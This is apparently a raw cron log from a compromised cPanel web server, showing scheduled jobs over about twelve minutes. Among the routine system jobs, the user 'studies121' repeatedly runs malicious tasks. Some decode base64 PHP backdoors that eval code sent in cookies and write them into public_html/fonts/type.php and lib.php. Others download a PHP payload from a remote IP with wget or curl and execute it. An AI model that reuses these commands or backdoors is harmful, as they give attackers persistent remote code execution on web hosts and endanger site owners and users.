Sep  9 22:43:01 ip-184-168-122-23 CROND[24728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:44:01 ip-184-168-122-23 CROND[24814]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 22:44:01 ip-184-168-122-23 CROND[24816]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:44:01 ip-184-168-122-23 CROND[24820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:44:01 ip-184-168-122-23 CROND[24819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:44:01 ip-184-168-122-23 CROND[24818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:45:01 ip-184-168-122-23 CROND[24907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:45:01 ip-184-168-122-23 CROND[24908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:45:01 ip-184-168-122-23 CROND[24911]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:45:01 ip-184-168-122-23 CROND[24912]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 22:45:01 ip-184-168-122-23 CROND[24914]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 22:45:01 ip-184-168-122-23 CROND[24913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:46:01 ip-184-168-122-23 CROND[25018]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:46:01 ip-184-168-122-23 CROND[25020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:46:01 ip-184-168-122-23 CROND[25023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:46:01 ip-184-168-122-23 CROND[25022]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 22:46:01 ip-184-168-122-23 CROND[25021]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 22:46:01 ip-184-168-122-23 CROND[25024]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 22:46:01 ip-184-168-122-23 CROND[25025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:47:02 ip-184-168-122-23 CROND[25115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:47:02 ip-184-168-122-23 CROND[25116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:47:02 ip-184-168-122-23 CROND[25117]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:47:02 ip-184-168-122-23 CROND[25118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:48:01 ip-184-168-122-23 CROND[25295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:48:01 ip-184-168-122-23 CROND[25298]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 22:48:01 ip-184-168-122-23 CROND[25296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:48:01 ip-184-168-122-23 CROND[25297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:48:01 ip-184-168-122-23 CROND[25299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:49:01 ip-184-168-122-23 CROND[25397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:49:01 ip-184-168-122-23 CROND[25399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:49:01 ip-184-168-122-23 CROND[25401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:49:01 ip-184-168-122-23 CROND[25404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:49:01 ip-184-168-122-23 CROND[25406]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  9 22:50:01 ip-184-168-122-23 CROND[25524]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 22:50:01 ip-184-168-122-23 CROND[25527]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 22:50:01 ip-184-168-122-23 CROND[25529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:50:01 ip-184-168-122-23 CROND[25531]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:50:01 ip-184-168-122-23 CROND[25533]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 22:50:01 ip-184-168-122-23 CROND[25540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:50:01 ip-184-168-122-23 CROND[25537]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 22:50:01 ip-184-168-122-23 CROND[25536]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 22:50:01 ip-184-168-122-23 CROND[25538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:51:01 ip-184-168-122-23 CROND[25629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:51:01 ip-184-168-122-23 CROND[25632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:51:01 ip-184-168-122-23 CROND[25630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:51:01 ip-184-168-122-23 CROND[25633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:52:01 ip-184-168-122-23 CROND[25729]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:52:01 ip-184-168-122-23 CROND[25731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:52:01 ip-184-168-122-23 CROND[25733]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 22:52:01 ip-184-168-122-23 CROND[25732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:52:01 ip-184-168-122-23 CROND[25734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:53:01 ip-184-168-122-23 CROND[25893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:53:01 ip-184-168-122-23 CROND[25894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:53:01 ip-184-168-122-23 CROND[25895]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:53:01 ip-184-168-122-23 CROND[25896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:54:01 ip-184-168-122-23 CROND[26058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:54:02 ip-184-168-122-23 CROND[26062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:54:02 ip-184-168-122-23 CROND[26060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:54:02 ip-184-168-122-23 CROND[26061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:54:02 ip-184-168-122-23 CROND[26063]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 22:55:01 ip-184-168-122-23 CROND[26155]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:55:01 ip-184-168-122-23 CROND[26157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:55:01 ip-184-168-122-23 CROND[26158]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
